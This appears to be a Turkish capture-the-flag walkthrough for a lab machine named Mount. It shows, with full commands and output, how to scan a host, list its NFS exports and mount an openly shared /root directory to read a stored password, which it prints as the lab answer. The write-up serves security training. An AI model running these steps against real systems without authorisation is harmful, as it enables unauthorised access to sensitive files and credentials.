

# Mount Write-up

---

## Giriş

Mount ısınma makinesi, NFS servisi ile ilgili temel alıştırmlar yapmak için ideal bir başlangıç noktasıdır. Bu makinede, NFS servisinin yanlış yapılandırılmasından kaynaklanan bir zafiyet ile uzak bilgisayarlardaki hassas dosyalara nasıl erişileceğini öğreneceksiniz. Ayrıca NFS'nin temel işleyişini ve bağlanma yöntemlerini de öğreneceksiniz.

## Network File Sharing (NFS)

Network File System (NFS), kullanıcıların farklı sistemlerdeki dosyalara sanki yerel disklerindeymiş gibi erişmelerini sağlayan, dosya tabanlı bir ağ protokolüdür. 1984 yılında Sun Microsystems tarafından geliştirilen NFS, Unix tabanlı sistemlerde yaygın olarak kullanılmakla birlikte, Windows ve diğer işletim sistemleri tarafından da desteklenmektedir. NFS, ağ üzerindeki dosya paylaşımını kolaylaştırarak, farklı bilgisayarlar arasında veri alışverişini basitleştirir.

## Bilgi Toplama

Hedef makinemize yönelik port taraması yaparak bilgi toplamaya başlayalım.

### Görev 1

Yaptığımız port taraması sonucunda **2049** numaralı portta çalışan servisin **nfs** olduğunu tespit ettik.

```
root@hackerbox:~# nmap -sV 172.20.9.137
Nmap scan report for 172.20.9.137
Host is up (0.00029s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
111/tcp    open  rpcbind 2-4 (RPC #100000)
2049/tcp   open  nfs      3-4 (RPC #100003)
MAC Address: 52:54:00:6B:FC:1A (QEMU virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.50 seconds
```

## Görev 2

NFS'nin açılımı; **Network File Sharing**.

## Görev 3

NFS dışı aktarımlarını görüntülemek için kullanılan komut **showmount** tur.

## Sisteme Erişim

## Görev 4

Aşağıdaki komutu kullanarak NFS dışı aktarımlarını görüntüleyelim.

```
showmount -e <target-ip>
```

```
-a : Hem client bilgisayar adını veya IP adresini hem de bağlanan dizini  
bilgisayar:dizin biçiminde listeleyin.  
-d : Sadece bağlanan dizinleri listeleyin.  
-e : NFS sunucusunun dışı aktarma listesini gösterir.  
-h : Yardım menüsü.
```

```
root@hackerbox:~# showmount -e 172.20.9.137  
Export list for 172.20.9.137:  
/root *
```

Paylaşılan dışı aktarımın yolunun **/root** olduğunu tespit ettik.

## Görev 5

NFS dışı aktarımlarını kendi bilgisayarımıza bağlamak için **mount** komutunu kullanabiliriz.

```
-t : Dosya sistemi türleri kümesini sınırlar.  
  
-o : Virgülle ayrılmış bağlama seçenekleri listesini belirtmek için  
kullanılır.  
  
-l : Dosya sistemi etiketlerini de gösterir.
```

## Görev 6

Görevde istenen parola bilgisine ulaşmak için dışa aktarımı kendi bilgisayarımıza bağlamamız gerekiyor. Bunun için öncelikle **mkdir** komutunu kullanarak **/mnt** dizini altında bir klasör oluşturalım.

```
mkdir /mnt/nfs_mount
```

Daha sonra aşağıdaki komutu kullanarak dışa aktarımı kendi bilgisayarımızda oluşturmuş olduğumuz **nfs\_mount** klasörüne bağlayalım.

```
mount -t nfs <target-ip>:/root /mnt/nfs_mount/
```

```
root@hackerbox:~# mount -t nfs 172.20.9.137:/root /mnt/nfs_mount/
root@hackerbox:~# cd /mnt/nfs_mount/
root@hackerbox:~# ls
password
root@hackerbox:~# cat password
yrt1-pa6Y-cxTF-4vak
```

💪 NFS dışa aktarımlarını kendi bilgisayarımıza bağlayarak hassas verilere eriştik.

-

Tebrikler 🎉

✨ Bu alıştırmadaki tüm görevleri başarıyla tamamladınız.